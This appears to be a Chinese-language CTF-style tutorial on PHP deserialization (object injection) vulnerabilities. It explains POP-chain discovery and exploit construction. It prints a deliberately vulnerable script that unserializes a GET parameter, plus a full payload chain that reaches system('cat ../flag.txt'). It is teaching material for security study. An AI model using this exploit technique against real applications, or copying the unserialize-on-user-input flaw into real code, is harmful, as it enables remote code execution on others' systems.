接着上篇继续讲:反序列化漏洞
0x01 本质无害
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
0x02 漏洞根源
根本原因:程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
这个漏洞的形成是由于跟serialize和unserialize相关的magic函数违背正确利用的缘故。 在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
0x03 POP链及漏洞发现技巧
由于反序列化漏洞需要很多类甚至需要跨越不同的文件,所有一般只可能白盒审计才可能发现反序列化漏洞。黑盒一般发现不了,因为根本不知道内部具体的代码函数情况,不过可以想办法把源码弄到手。
默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。
找PHP链的基本思路:
1 2 3 4
| exec() passthru() popen() system()
|
-
文件操作:
1 2 3
| file_put_contents() file_get_contents() unlink()
|
0x04 构造exploit的思路
碰到php反序列化的问题时,如果参数可控,我们要反方向去寻找,即先找到调用我们想要调用的函数或方法,然后给可控的参数赋恰当的值,逆向推理,最后得出序列化字符串。
1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试 这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果
0x05 利用反序列化漏洞
利用两个条件:
1、程序中存在序列化字符串的输入点
2、程序中存在可以利用的magic函数
举个例子:源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php error_reporting(0); highlight_file(__FILE__); class gg { private $gg; public function __destruct() { $this->gg->get1(); } } class start { private $start1; private $start2; public function get1() { $s1 = $this->start1; $s2 = $this->start2; $s1($s2); } }
class cat { private $name = "蛋黄"; private $color = "橘色"; private $weight = "5公斤";
public function getName() { return $this->name; }
public function getColor() { return $this->color; }
public function getWeight() { return $this->weight; }
public function __invoke($args) { echo $args."不是函数"; } }
class test2 { private $a; public function __toString() { $this->a->getFlag(); } }
class flag { public function getFlag() { system('cat ../flag.txt'); } } $x = $_GET['x']; if (isset($x)) { unserialize($x); } ?>
|
思路: 看到 unserialize()知道是反序列化问题 从后往前逆推
1)想要得到flag 必须得调用flag 类里面的 getflag()方法
2)往上看,发现test2 里面调用了getflag()方法
3)但是这个getflag是a对应的方法,所以必须把a赋值为flag的类并且,getflag()函数在tostring 里面,所以要把test2类当作一个字符串来使用
4)上面cat 方法里面有关于字符串的调用,所以可以把args 赋为text2 的新类,但是想要调用echo 语句,必须得调用 invoke方法,所以呢,要把cat 当作一个函数来使用
5) 向上寻找函数的调用,发现start 里面有关于函数的调用,所以应该把s1赋值为cat的类,而s2 是函数的参数,联想到上面的__revoke,所以,可以把$s2赋值为test2的类
6)想要实现上述,必须调用get1()方法,向上寻找,发现gg类中调用了get1(),但是却是变量gg的 方法,所以将变量gg赋值为start的类,就可以调用get1()方法了
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php
class gg { private $gg; public function __construct() { $this->gg = new start();
}
public function __destruct() {
$this->gg->get1(); } } class start { private $start1; private $start2; public function __construct() { $this->start1 = new cat(); $this->start2=new test2();
} public function get1() { $s1 = $this->start1; $s2 = $this->start2; $s1($s2); } }
class cat { private $name = "蛋黄"; private $color = "橘色"; private $weight = "5公斤";
public function getName() { return $this->name; }
public function getColor() { return $this->color; }
public function getWeight() { return $this->weight; }
public function __invoke($args) { echo $args."不是函数"; } }
class test2 { private $a; public function __construct() { $this->a = new flag();
} public function __toString() { $this->a->getFlag(); } } class flag { public function getFlag() { system('cat ../flag.txt'); } } $b = new gg; echo urlencode(serialize($b))."<br / >";
?>
|
正向理思路:
1.首先选创建一个新类gg,销毁时调用方__destruct,调用get1()
2.get1()中,s1 是cat的新类,s2是test2的新类,s1当作函数,调用__invoke,s2 当作字符串,调用__tostring
3.然后调用__tostring,中的getflag(),执行system(),获得flag